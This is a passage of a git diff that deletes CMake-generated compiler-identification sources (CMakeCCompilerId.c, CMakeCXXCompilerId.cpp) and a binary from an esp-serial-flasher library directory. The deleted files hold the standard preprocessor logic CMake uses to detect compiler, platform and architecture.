defined(__VER__) && (defined(__ICCAVR__) || defined(__ICCRX__) || defined(__ICCRH850__) || defined(__ICCRL78__) || defined(__ICC430__) || defined(__ICCRISCV__) || defined(__ICCV850__) || defined(__ICC8051__)) -# define COMPILER_VERSION_MAJOR DEC((__VER__) / 100) -# define COMPILER_VERSION_MINOR DEC((__VER__) - (((__VER__) / 100)*100)) -# define COMPILER_VERSION_PATCH DEC(__SUBVERSION__) -# define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__) -# endif - -#elif defined(__SDCC_VERSION_MAJOR) || defined(SDCC) -# define COMPILER_ID "SDCC" -# if defined(__SDCC_VERSION_MAJOR) -# define COMPILER_VERSION_MAJOR DEC(__SDCC_VERSION_MAJOR) -# define COMPILER_VERSION_MINOR DEC(__SDCC_VERSION_MINOR) -# define COMPILER_VERSION_PATCH DEC(__SDCC_VERSION_PATCH) -# else - /* SDCC = VRP */ -# define COMPILER_VERSION_MAJOR DEC(SDCC/100) -# define COMPILER_VERSION_MINOR DEC(SDCC/10 % 10) -# define COMPILER_VERSION_PATCH DEC(SDCC % 10) -# endif - - -/* These compilers are either not known or too old to define an - identification macro. Try to identify the platform and guess that - it is the native compiler. */ -#elif defined(__hpux) || defined(__hpua) -# define COMPILER_ID "HP" - -#else /* unknown compiler */ -# define COMPILER_ID "" -#endif - -/* Construct the string literal in pieces to prevent the source from - getting matched. Store it in a pointer rather than an array - because some compilers will just produce instructions to fill the - array rather than assigning a pointer to a static array. */ -char const* info_compiler = "INFO" ":" "compiler[" COMPILER_ID "]"; -#ifdef SIMULATE_ID -char const* info_simulate = "INFO" ":" "simulate[" SIMULATE_ID "]"; -#endif - -#ifdef __QNXNTO__ -char const* qnxnto = "INFO" ":" "qnxnto[]"; -#endif - -#if defined(__CRAYXE) || defined(__CRAYXC) -char const *info_cray = "INFO" ":" "compiler_wrapper[CrayPrgEnv]"; -#endif - -#define STRINGIFY_HELPER(X) #X -#define STRINGIFY(X) STRINGIFY_HELPER(X) - -/* Identify known platforms by name. */ -#if defined(__linux) || defined(__linux__) || defined(linux) -# define PLATFORM_ID "Linux" - -#elif defined(__CYGWIN__) -# define PLATFORM_ID "Cygwin" - -#elif defined(__MINGW32__) -# define PLATFORM_ID "MinGW" - -#elif defined(__APPLE__) -# define PLATFORM_ID "Darwin" - -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -# define PLATFORM_ID "Windows" - -#elif defined(__FreeBSD__) || defined(__FreeBSD) -# define PLATFORM_ID "FreeBSD" - -#elif defined(__NetBSD__) || defined(__NetBSD) -# define PLATFORM_ID "NetBSD" - -#elif defined(__OpenBSD__) || defined(__OPENBSD) -# define PLATFORM_ID "OpenBSD" - -#elif defined(__sun) || defined(sun) -# define PLATFORM_ID "SunOS" - -#elif defined(_AIX) || defined(__AIX) || defined(__AIX__) || defined(__aix) || defined(__aix__) -# define PLATFORM_ID "AIX" - -#elif defined(__hpux) || defined(__hpux__) -# define PLATFORM_ID "HP-UX" - -#elif defined(__HAIKU__) -# define PLATFORM_ID "Haiku" - -#elif defined(__BeOS) || defined(__BEOS__) || defined(_BEOS) -# define PLATFORM_ID "BeOS" - -#elif defined(__QNX__) || defined(__QNXNTO__) -# define PLATFORM_ID "QNX" - -#elif defined(__tru64) || defined(_tru64) || defined(__TRU64__) -# define PLATFORM_ID "Tru64" - -#elif defined(__riscos) || defined(__riscos__) -# define PLATFORM_ID "RISCos" - -#elif defined(__sinix) || defined(__sinix__) || defined(__SINIX__) -# define PLATFORM_ID "SINIX" - -#elif defined(__UNIX_SV__) -# define PLATFORM_ID "UNIX_SV" - -#elif defined(__bsdos__) -# define PLATFORM_ID "BSDOS" - -#elif defined(_MPRAS) || defined(MPRAS) -# define PLATFORM_ID "MP-RAS" - -#elif defined(__osf) || defined(__osf__) -# define PLATFORM_ID "OSF1" - -#elif defined(_SCO_SV) || defined(SCO_SV) || defined(sco_sv) -# define PLATFORM_ID "SCO_SV" - -#elif defined(__ultrix) || defined(__ultrix__) || defined(_ULTRIX) -# define PLATFORM_ID "ULTRIX" - -#elif defined(__XENIX__) || defined(_XENIX) || defined(XENIX) -# define PLATFORM_ID "Xenix" - -#elif defined(__WATCOMC__) -# if defined(__LINUX__) -# define PLATFORM_ID "Linux" - -# elif defined(__DOS__) -# define PLATFORM_ID "DOS" - -# elif defined(__OS2__) -# define PLATFORM_ID "OS2" - -# elif defined(__WINDOWS__) -# define PLATFORM_ID "Windows3x" - -# else /* unknown platform */ -# define PLATFORM_ID -# endif - -#elif defined(__INTEGRITY) -# if defined(INT_178B) -# define PLATFORM_ID "Integrity178" - -# else /* regular Integrity */ -# define PLATFORM_ID "Integrity" -# endif - -#else /* unknown platform */ -# define PLATFORM_ID - -#endif - -/* For windows compilers MSVC and Intel we can determine - the architecture of the compiler being used. This is because - the compilers do not have flags that can change the architecture, - but rather depend on which compiler is being used -*/ -#if defined(_WIN32) && defined(_MSC_VER) -# if defined(_M_IA64) -# define ARCHITECTURE_ID "IA64" - -# elif defined(_M_X64) || defined(_M_AMD64) -# define ARCHITECTURE_ID "x64" - -# elif defined(_M_IX86) -# define ARCHITECTURE_ID "X86" - -# elif defined(_M_ARM64) -# define ARCHITECTURE_ID "ARM64" - -# elif defined(_M_ARM) -# if _M_ARM == 4 -# define ARCHITECTURE_ID "ARMV4I" -# elif _M_ARM == 5 -# define ARCHITECTURE_ID "ARMV5I" -# else -# define ARCHITECTURE_ID "ARMV" STRINGIFY(_M_ARM) -# endif - -# elif defined(_M_MIPS) -# define ARCHITECTURE_ID "MIPS" - -# elif defined(_M_SH) -# define ARCHITECTURE_ID "SHx" - -# else /* unknown architecture */ -# define ARCHITECTURE_ID "" -# endif - -#elif defined(__WATCOMC__) -# if defined(_M_I86) -# define ARCHITECTURE_ID "I86" - -# elif defined(_M_IX86) -# define ARCHITECTURE_ID "X86" - -# else /* unknown architecture */ -# define ARCHITECTURE_ID "" -# endif - -#elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC) -# if defined(__ICCARM__) -# define ARCHITECTURE_ID "ARM" - -# elif defined(__ICCRX__) -# define ARCHITECTURE_ID "RX" - -# elif defined(__ICCRH850__) -# define ARCHITECTURE_ID "RH850" - -# elif defined(__ICCRL78__) -# define ARCHITECTURE_ID "RL78" - -# elif defined(__ICCRISCV__) -# define ARCHITECTURE_ID "RISCV" - -# elif defined(__ICCAVR__) -# define ARCHITECTURE_ID "AVR" - -# elif defined(__ICC430__) -# define ARCHITECTURE_ID "MSP430" - -# elif defined(__ICCV850__) -# define ARCHITECTURE_ID "V850" - -# elif defined(__ICC8051__) -# define ARCHITECTURE_ID "8051" - -# else /* unknown architecture */ -# define ARCHITECTURE_ID "" -# endif - -#elif defined(__ghs__) -# if defined(__PPC64__) -# define ARCHITECTURE_ID "PPC64" - -# elif defined(__ppc__) -# define ARCHITECTURE_ID "PPC" - -# elif defined(__ARM__) -# define ARCHITECTURE_ID "ARM" - -# elif defined(__x86_64__) -# define ARCHITECTURE_ID "x64" - -# elif defined(__i386__) -# define ARCHITECTURE_ID "X86" - -# else /* unknown architecture */ -# define ARCHITECTURE_ID "" -# endif -#else -# define ARCHITECTURE_ID -#endif - -/* Convert integer to decimal digit literals. */ -#define DEC(n) \ - ('0' + (((n) / 10000000)%10)), \ - ('0' + (((n) / 1000000)%10)), \ - ('0' + (((n) / 100000)%10)), \ - ('0' + (((n) / 10000)%10)), \ - ('0' + (((n) / 1000)%10)), \ - ('0' + (((n) / 100)%10)), \ - ('0' + (((n) / 10)%10)), \ - ('0' + ((n) % 10)) - -/* Convert integer to hex digit literals. */ -#define HEX(n) \ - ('0' + ((n)>>28 & 0xF)), \ - ('0' + ((n)>>24 & 0xF)), \ - ('0' + ((n)>>20 & 0xF)), \ - ('0' + ((n)>>16 & 0xF)), \ - ('0' + ((n)>>12 & 0xF)), \ - ('0' + ((n)>>8 & 0xF)), \ - ('0' + ((n)>>4 & 0xF)), \ - ('0' + ((n) & 0xF)) - -/* Construct a string literal encoding the version number components. */ -#ifdef COMPILER_VERSION_MAJOR -char const info_version[] = { - 'I', 'N', 'F', 'O', ':', - 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','[', - COMPILER_VERSION_MAJOR, -# ifdef COMPILER_VERSION_MINOR - '.', COMPILER_VERSION_MINOR, -# ifdef COMPILER_VERSION_PATCH - '.', COMPILER_VERSION_PATCH, -# ifdef COMPILER_VERSION_TWEAK - '.', COMPILER_VERSION_TWEAK, -# endif -# endif -# endif - ']','\0'}; -#endif - -/* Construct a string literal encoding the internal version number. */ -#ifdef COMPILER_VERSION_INTERNAL -char const info_version_internal[] = { - 'I', 'N', 'F', 'O', ':', - 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','_', - 'i','n','t','e','r','n','a','l','[', - COMPILER_VERSION_INTERNAL,']','\0'}; -#endif - -/* Construct a string literal encoding the version number components. */ -#ifdef SIMULATE_VERSION_MAJOR -char const info_simulate_version[] = { - 'I', 'N', 'F', 'O', ':', - 's','i','m','u','l','a','t','e','_','v','e','r','s','i','o','n','[', - SIMULATE_VERSION_MAJOR, -# ifdef SIMULATE_VERSION_MINOR - '.', SIMULATE_VERSION_MINOR, -# ifdef SIMULATE_VERSION_PATCH - '.', SIMULATE_VERSION_PATCH, -# ifdef SIMULATE_VERSION_TWEAK - '.', SIMULATE_VERSION_TWEAK, -# endif -# endif -# endif - ']','\0'}; -#endif - -/* Construct the string literal in pieces to prevent the source from - getting matched. Store it in a pointer rather than an array - because some compilers will just produce instructions to fill the - array rather than assigning a pointer to a static array. */ -char const* info_platform = "INFO" ":" "platform[" PLATFORM_ID "]"; -char const* info_arch = "INFO" ":" "arch[" ARCHITECTURE_ID "]"; - - - - -#if !defined(__STDC__) -# if (defined(_MSC_VER) && !defined(__clang__)) \ - || (defined(__ibmxl__) || defined(__IBMC__)) -# define C_DIALECT "90" -# else -# define C_DIALECT -# endif -#elif __STDC_VERSION__ >= 201000L -# define C_DIALECT "11" -#elif __STDC_VERSION__ >= 199901L -# define C_DIALECT "99" -#else -# define C_DIALECT "90" -#endif -const char* info_language_dialect_default = - "INFO" ":" "dialect_default[" C_DIALECT "]"; - -/*--------------------------------------------------------------------------*/ - -#ifdef ID_VOID_MAIN -void main() {} -#else -# if defined(__CLASSIC_C__) -int main(argc, argv) int argc; char *argv[]; -# else -int main(int argc, char* argv[]) -# endif -{ - int require = 0; - require += info_compiler[argc]; - require += info_platform[argc]; - require += info_arch[argc]; -#ifdef COMPILER_VERSION_MAJOR - require += info_version[argc]; -#endif -#ifdef COMPILER_VERSION_INTERNAL - require += info_version_internal[argc]; -#endif -#ifdef SIMULATE_ID - require += info_simulate[argc]; -#endif -#ifdef SIMULATE_VERSION_MAJOR - require += info_simulate_version[argc]; -#endif -#if defined(__CRAYXE) || defined(__CRAYXC) - require += info_cray[argc]; -#endif - require += info_language_dialect_default[argc]; - (void)argv; - return require; -} -#endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdC/a.out b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdC/a.out deleted file mode 100644 index e82fab493..000000000 Binary files a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdC/a.out and /dev/null differ diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdCXX/CMakeCXXCompilerId.cpp b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdCXX/CMakeCXXCompilerId.cpp deleted file mode 100644 index 69cfdba6b..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdCXX/CMakeCXXCompilerId.cpp +++ /dev/null @@ -1,660 +0,0 @@ -/* This source file must have a .cpp extension so that all C++ compilers - recognize the extension without flags. Borland does not know .cxx for - example. */ -#ifndef __cplusplus -# error "A C compiler has been selected for C++." -#endif - - -/* Version number components: V=Version, R=Revision, P=Patch - Version date components: YYYY=Year, MM=Month, DD=Day */ - -#if defined(__COMO__) -# define COMPILER_ID "Comeau" - /* __COMO_VERSION__ = VRR */ -# define COMPILER_VERSION_MAJOR DEC(__COMO_VERSION__ / 100) -# define COMPILER_VERSION_MINOR DEC(__COMO_VERSION__ % 100) - -#elif defined(__INTEL_COMPILER) || defined(__ICC) -# define COMPILER_ID "Intel" -# if defined(_MSC_VER) -# define SIMULATE_ID "MSVC" -# endif -# if defined(__GNUC__) -# define SIMULATE_ID "GNU" -# endif - /* __INTEL_COMPILER = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__INTEL_COMPILER/100) -# define COMPILER_VERSION_MINOR DEC(__INTEL_COMPILER/10 % 10) -# if defined(__INTEL_COMPILER_UPDATE) -# define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER_UPDATE) -# else -# define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER % 10) -# endif -# if defined(__INTEL_COMPILER_BUILD_DATE) - /* __INTEL_COMPILER_BUILD_DATE = YYYYMMDD */ -# define COMPILER_VERSION_TWEAK DEC(__INTEL_COMPILER_BUILD_DATE) -# endif -# if defined(_MSC_VER) - /* _MSC_VER = VVRR */ -# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) -# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) -# endif -# if defined(__GNUC__) -# define SIMULATE_VERSION_MAJOR DEC(__GNUC__) -# elif defined(__GNUG__) -# define SIMULATE_VERSION_MAJOR DEC(__GNUG__) -# endif -# if defined(__GNUC_MINOR__) -# define SIMULATE_VERSION_MINOR DEC(__GNUC_MINOR__) -# endif -# if defined(__GNUC_PATCHLEVEL__) -# define SIMULATE_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) -# endif - -#elif defined(__PATHCC__) -# define COMPILER_ID "PathScale" -# define COMPILER_VERSION_MAJOR DEC(__PATHCC__) -# define COMPILER_VERSION_MINOR DEC(__PATHCC_MINOR__) -# if defined(__PATHCC_PATCHLEVEL__) -# define COMPILER_VERSION_PATCH DEC(__PATHCC_PATCHLEVEL__) -# endif - -#elif defined(__BORLANDC__) && defined(__CODEGEARC_VERSION__) -# define COMPILER_ID "Embarcadero" -# define COMPILER_VERSION_MAJOR HEX(__CODEGEARC_VERSION__>>24 & 0x00FF) -# define COMPILER_VERSION_MINOR HEX(__CODEGEARC_VERSION__>>16 & 0x00FF) -# define COMPILER_VERSION_PATCH DEC(__CODEGEARC_VERSION__ & 0xFFFF) - -#elif defined(__BORLANDC__) -# define COMPILER_ID "Borland" - /* __BORLANDC__ = 0xVRR */ -# define COMPILER_VERSION_MAJOR HEX(__BORLANDC__>>8) -# define COMPILER_VERSION_MINOR HEX(__BORLANDC__ & 0xFF) - -#elif defined(__WATCOMC__) && __WATCOMC__ < 1200 -# define COMPILER_ID "Watcom" - /* __WATCOMC__ = VVRR */ -# define COMPILER_VERSION_MAJOR DEC(__WATCOMC__ / 100) -# define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) -# if (__WATCOMC__ % 10) > 0 -# define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) -# endif - -#elif defined(__WATCOMC__) -# define COMPILER_ID "OpenWatcom" - /* __WATCOMC__ = VVRP + 1100 */ -# define COMPILER_VERSION_MAJOR DEC((__WATCOMC__ - 1100) / 100) -# define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) -# if (__WATCOMC__ % 10) > 0 -# define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) -# endif - -#elif defined(__SUNPRO_CC) -# define COMPILER_ID "SunPro" -# if __SUNPRO_CC >= 0x5100 - /* __SUNPRO_CC = 0xVRRP */ -# define COMPILER_VERSION_MAJOR HEX(__SUNPRO_CC>>12) -# define COMPILER_VERSION_MINOR HEX(__SUNPRO_CC>>4 & 0xFF) -# define COMPILER_VERSION_PATCH HEX(__SUNPRO_CC & 0xF) -# else - /* __SUNPRO_CC = 0xVRP */ -# define COMPILER_VERSION_MAJOR HEX(__SUNPRO_CC>>8) -# define COMPILER_VERSION_MINOR HEX(__SUNPRO_CC>>4 & 0xF) -# define COMPILER_VERSION_PATCH HEX(__SUNPRO_CC & 0xF) -# endif - -#elif defined(__HP_aCC) -# define COMPILER_ID "HP" - /* __HP_aCC = VVRRPP */ -# define COMPILER_VERSION_MAJOR DEC(__HP_aCC/10000) -# define COMPILER_VERSION_MINOR DEC(__HP_aCC/100 % 100) -# define COMPILER_VERSION_PATCH DEC(__HP_aCC % 100) - -#elif defined(__DECCXX) -# define COMPILER_ID "Compaq" - /* __DECCXX_VER = VVRRTPPPP */ -# define COMPILER_VERSION_MAJOR DEC(__DECCXX_VER/10000000) -# define COMPILER_VERSION_MINOR DEC(__DECCXX_VER/100000 % 100) -# define COMPILER_VERSION_PATCH DEC(__DECCXX_VER % 10000) - -#elif defined(__IBMCPP__) && defined(__COMPILER_VER__) -# define COMPILER_ID "zOS" - /* __IBMCPP__ = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__IBMCPP__/100) -# define COMPILER_VERSION_MINOR DEC(__IBMCPP__/10 % 10) -# define COMPILER_VERSION_PATCH DEC(__IBMCPP__ % 10) - -#elif defined(__ibmxl__) && defined(__clang__) -# define COMPILER_ID "XLClang" -# define COMPILER_VERSION_MAJOR DEC(__ibmxl_version__) -# define COMPILER_VERSION_MINOR DEC(__ibmxl_release__) -# define COMPILER_VERSION_PATCH DEC(__ibmxl_modification__) -# define COMPILER_VERSION_TWEAK DEC(__ibmxl_ptf_fix_level__) - - -#elif defined(__IBMCPP__) && !defined(__COMPILER_VER__) && __IBMCPP__ >= 800 -# define COMPILER_ID "XL" - /* __IBMCPP__ = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__IBMCPP__/100) -# define COMPILER_VERSION_MINOR DEC(__IBMCPP__/10 % 10) -# define COMPILER_VERSION_PATCH DEC(__IBMCPP__ % 10) - -#elif defined(__IBMCPP__) && !defined(__COMPILER_VER__) && __IBMCPP__ < 800 -# define COMPILER_ID "VisualAge" - /* __IBMCPP__ = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__IBMCPP__/100) -# define COMPILER_VERSION_MINOR DEC(__IBMCPP__/10 % 10) -# define COMPILER_VERSION_PATCH DEC(__IBMCPP__ % 10) - -#elif defined(__PGI) -# define COMPILER_ID "PGI" -# define COMPILER_VERSION_MAJOR DEC(__PGIC__) -# define COMPILER_VERSION_MINOR DEC(__PGIC_MINOR__) -# if defined(__PGIC_PATCHLEVEL__) -# define COMPILER_VERSION_PATCH DEC(__PGIC_PATCHLEVEL__) -# endif - -#elif defined(_CRAYC) -# define COMPILER_ID "Cray" -# define COMPILER_VERSION_MAJOR DEC(_RELEASE_MAJOR) -# define COMPILER_VERSION_MINOR DEC(_RELEASE_MINOR) - -#elif defined(__TI_COMPILER_VERSION__) -# define COMPILER_ID "TI" - /* __TI_COMPILER_VERSION__ = VVVRRRPPP */ -# define COMPILER_VERSION_MAJOR DEC(__TI_COMPILER_VERSION__/1000000) -# define COMPILER_VERSION_MINOR DEC(__TI_COMPILER_VERSION__/1000 % 1000) -# define COMPILER_VERSION_PATCH DEC(__TI_COMPILER_VERSION__ % 1000) - -#elif defined(__FUJITSU) || defined(__FCC_VERSION) || defined(__fcc_version) -# define COMPILER_ID "Fujitsu" - -#elif defined(__ghs__) -# define COMPILER_ID "GHS" -/* __GHS_VERSION_NUMBER = VVVVRP */ -# ifdef __GHS_VERSION_NUMBER -# define COMPILER_VERSION_MAJOR DEC(__GHS_VERSION_NUMBER / 100) -# define COMPILER_VERSION_MINOR DEC(__GHS_VERSION_NUMBER / 10 % 10) -# define COMPILER_VERSION_PATCH DEC(__GHS_VERSION_NUMBER % 10) -# endif - -#elif defined(__SCO_VERSION__) -# define COMPILER_ID "SCO" - -#elif defined(__ARMCC_VERSION) && !defined(__clang__) -# define COMPILER_ID "ARMCC" -#if __ARMCC_VERSION >= 1000000 - /* __ARMCC_VERSION = VRRPPPP */ - # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/1000000) - # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 100) - # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) -#else - /* __ARMCC_VERSION = VRPPPP */ - # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/100000) - # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 10) - # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) -#endif - - -#elif defined(__clang__) && defined(__apple_build_version__) -# define COMPILER_ID "AppleClang" -# if defined(_MSC_VER) -# define SIMULATE_ID "MSVC" -# endif -# define COMPILER_VERSION_MAJOR DEC(__clang_major__) -# define COMPILER_VERSION_MINOR DEC(__clang_minor__) -# define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) -# if defined(_MSC_VER) - /* _MSC_VER = VVRR */ -# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) -# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) -# endif -# define COMPILER_VERSION_TWEAK DEC(__apple_build_version__) - -#elif defined(__clang__) && defined(__ARMCOMPILER_VERSION) -# define COMPILER_ID "ARMClang" - # define COMPILER_VERSION_MAJOR DEC(__ARMCOMPILER_VERSION/1000000) - # define COMPILER_VERSION_MINOR DEC(__ARMCOMPILER_VERSION/10000 % 100) - # define COMPILER_VERSION_PATCH DEC(__ARMCOMPILER_VERSION % 10000) -# define COMPILER_VERSION_INTERNAL DEC(__ARMCOMPILER_VERSION) - -#elif defined(__clang__) -# define COMPILER_ID "Clang" -# if defined(_MSC_VER) -# define SIMULATE_ID "MSVC" -# endif -# define COMPILER_VERSION_MAJOR DEC(__clang_major__) -# define COMPILER_VERSION_MINOR DEC(__clang_minor__) -# define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) -# if defined(_MSC_VER) - /* _MSC_VER = VVRR */ -# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) -# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) -# endif - -#elif defined(__GNUC__) || defined(__GNUG__) -# define COMPILER_ID "GNU" -# if defined(__GNUC__) -# define COMPILER_VERSION_MAJOR DEC(__GNUC__) -# else -# define COMPILER_VERSION_MAJOR DEC(__GNUG__) -# endif -# if defined(__GNUC_MINOR__) -# define COMPILER_VERSION_MINOR DEC(__GNUC_MINOR__) -# endif -# if defined(__GNUC_PATCHLEVEL__) -# define COMPILER_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) -# endif - -#elif defined(_MSC_VER) -# define COMPILER_ID "MSVC" - /* _MSC_VER = VVRR */ -# define COMPILER_VERSION_MAJOR DEC(_MSC_VER / 100) -# define COMPILER_VERSION_MINOR DEC(_MSC_VER % 100) -# if defined(_MSC_FULL_VER) -# if _MSC_VER >= 1400 - /* _MSC_FULL_VER = VVRRPPPPP */ -# define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 100000) -# else - /* _MSC_FULL_VER = VVRRPPPP */ -# define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 10000) -# endif -# endif -# if defined(_MSC_BUILD) -# define COMPILER_VERSION_TWEAK DEC(_MSC_BUILD) -# endif - -#elif defined(__VISUALDSPVERSION__) || defined(__ADSPBLACKFIN__) || defined(__ADSPTS__) || defined(__ADSP21000__) -# define COMPILER_ID "ADSP" -#if defined(__VISUALDSPVERSION__) - /* __VISUALDSPVERSION__ = 0xVVRRPP00 */ -# define COMPILER_VERSION_MAJOR HEX(__VISUALDSPVERSION__>>24) -# define COMPILER_VERSION_MINOR HEX(__VISUALDSPVERSION__>>16 & 0xFF) -# define COMPILER_VERSION_PATCH HEX(__VISUALDSPVERSION__>>8 & 0xFF) -#endif - -#elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC) -# define COMPILER_ID "IAR" -# if defined(__VER__) && defined(__ICCARM__) -# define COMPILER_VERSION_MAJOR DEC((__VER__) / 1000000) -# define COMPILER_VERSION_MINOR DEC(((__VER__) / 1000) % 1000) -# define COMPILER_VERSION_PATCH DEC((__VER__) % 1000) -# define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__) -# elif defined(__VER__) && (defined(__ICCAVR__) || defined(__ICCRX__) || defined(__ICCRH850__) || defined(__ICCRL78__) || defined(__ICC430__) || defined(__ICCRISCV__) || defined(__ICCV850__) || defined(__ICC8051__)) -# define COMPILER_VERSION_MAJOR DEC((__VER__) / 100) -# define COMPILER_VERSION_MINOR DEC((__VER__) - (((__VER__) / 100)*100)) -# define COMPILER_VERSION_PATCH DEC(__SUBVERSION__) -# define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__) -# endif - - -/* These compilers are either not known or too old to define an - identification macro. Try to identify the platform and guess that - it is the native compiler. */ -#elif defined(__hpux) || defined(__hpua) -# define COMPILER_ID "HP" - -#else /* unknown compiler */ -# define COMPILER_ID "" -#endif - -/* Construct the string literal in pieces to prevent the source from - getting matched. Store it in a pointer rather than an array - because some compilers will just produce instructions to fill the - array rather than assigning a pointer to a static array. */ -char const* info_compiler = "INFO" ":" "compiler[" COMPILER_ID "]"; -#ifdef SIMULATE_ID -char const* info_simulate = "INFO" ":" "simulate[" SIMULATE_ID "]"; -#endif - -#ifdef __QNXNTO__ -char const* qnxnto = "INFO" ":" "qnxnto[]"; -#endif - -#if defined(__CRAYXE) || defined(__CRAYXC) -char const *info_cray = "INFO" ":" "compiler_wrapper[CrayPrgEnv]"; -#endif - -#define STRINGIFY_HELPER(X) #X -#define STRINGIFY(X) STRINGIFY_HELPER(X) - -/* Identify known platforms by name. */ -#if defined(__linux) || defined(__linux__) || defined(linux) -# define PLATFORM_ID "Linux" - -#elif defined(__CYGWIN__) -# define PLATFORM_ID "Cygwin" - -#elif defined(__MINGW32__) -# define PLATFORM_ID "MinGW" - -#elif defined(__APPLE__) -# define PLATFORM_ID "Darwin" - -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -# define PLATFORM_ID "Windows" - -#elif defined(__FreeBSD__) || defined(__FreeBSD) -# define PLATFORM_ID "FreeBSD" - -#elif defined(__NetBSD__) || defined(__NetBSD) -# define PLATFORM_ID "NetBSD" - -#elif defined(__OpenBSD__) || defined(__OPENBSD) -# define PLATFORM_ID "OpenBSD" - -#elif defined(__sun) || defined(sun) -# define PLATFORM_ID "SunOS" - -#elif defined(_AIX) || defined(__AIX) || defined(__AIX__) || defined(__aix) || defined(__aix__) -# define PLATFORM_ID "AIX" - -#elif defined(__hpux) || defined(__hpux__) -# define PLATFORM_ID "HP-UX" - -#elif defined(__HAIKU__) -# define PLATFORM_ID "Haiku" - -#elif defined(__BeOS) || defined(__BEOS__) || defined(_BEOS) -# define PLATFORM_ID "BeOS" - -#elif defined(__QNX__) || defined(__QNXNTO__) -# define PLATFORM_ID "QNX" - -#elif defined(__tru64) || defined(_tru64) || defined(__TRU64__) -# define PLATFORM_ID "Tru64" - -#elif defined(__riscos) || defined(__riscos__) -# define PLATFORM_ID "RISCos" - -#elif defined(__sinix) || defined(__sinix__) || defined(__SINIX__) -# define PLATFORM_ID "SINIX" - -#elif defined(__UNIX_SV__) -# define PLATFORM_ID "UNIX_SV" - -#elif defined(__bsdos__) -# define PLATFORM_ID "BSDOS" - -#elif defined(_MPRAS) || defined(MPRAS) -# define PLATFORM_ID "MP-RAS" - -#elif defined(__osf) || defined(__osf__) -# define PLATFORM_ID "OSF1" - -#elif defined(_SCO_SV) || defined(SCO_SV) || defined(sco_sv) -# define PLATFORM_ID "SCO_SV" - -#elif defined(__ultrix) || defined(__ultrix__) || defined(_ULTRIX) -# define PLATFORM_ID "ULTRIX" - -#elif defined(__XENIX__) || defined(_XENIX) || defined(XENIX) -# define PLATFORM_ID "Xenix" - -#elif defined(__WATCOMC__) -# if defined(__LINUX__) -# define PLATFORM_ID "Linux" - -# elif defined(__DOS__) -# define PLATFORM_ID "DOS" - -# elif defined(__OS2__) -# define PLATFORM_ID "OS2" - -# elif defined(__WINDOWS__) -# define PLATFORM_ID "Windows3x" - -# else /* unknown platform */ -# define PLATFORM_ID -# endif - -#elif defined(__INTEGRITY) -# if defined(INT_178B) -# define PLATFORM_ID "Integrity178" - -# else /* regular Integrity */ -# define PLATFORM_ID "Integrity" -# endif - -#else /* unknown platform */ -# define PLATFORM_ID - -#endif - -/* For windows compilers MSVC and Intel we can determine - the architecture of the compiler being used. This is because - the compilers do not have flags that can change the architecture, - but rather depend on which compiler is being used -*/ -#if defined(_WIN32) && defined(_MSC_VER) -# if defined(_M_IA64) -# define ARCHITECTURE_ID "IA64" - -# elif defined(_M_X64) || defined(_M_AMD64) -# define ARCHITECTURE_ID "x64" - -# elif defined(_M_IX86) -# define ARCHITECTURE_ID "X86" - -# elif defined(_M_ARM64) -# define ARCHITECTURE_ID "ARM64" - -# elif defined(_M_ARM) -# if _M_ARM == 4 -# define ARCHITECTURE_ID "ARMV4I" -# elif _M_ARM == 5 -# define ARCHITECTURE_ID "ARMV5I" -# else -# define ARCHITECTURE_ID "ARMV" STRINGIFY(_M_ARM) -# endif - -# elif defined(_M_MIPS) -# define ARCHITECTURE_ID "MIPS" - -# elif defined(_M_SH) -# define ARCHITECTURE_ID "SHx" - -# else /* unknown architecture */ -# define ARCHITECTURE_ID "" -# endif - -#elif defined(__WATCOMC__) -# if defined(_M_I86) -# define ARCHITECTURE_ID "I86" - -# elif defined(_M_IX86) -# define ARCHITECTURE_ID "X86" - -# else /* unknown architecture */ -# define 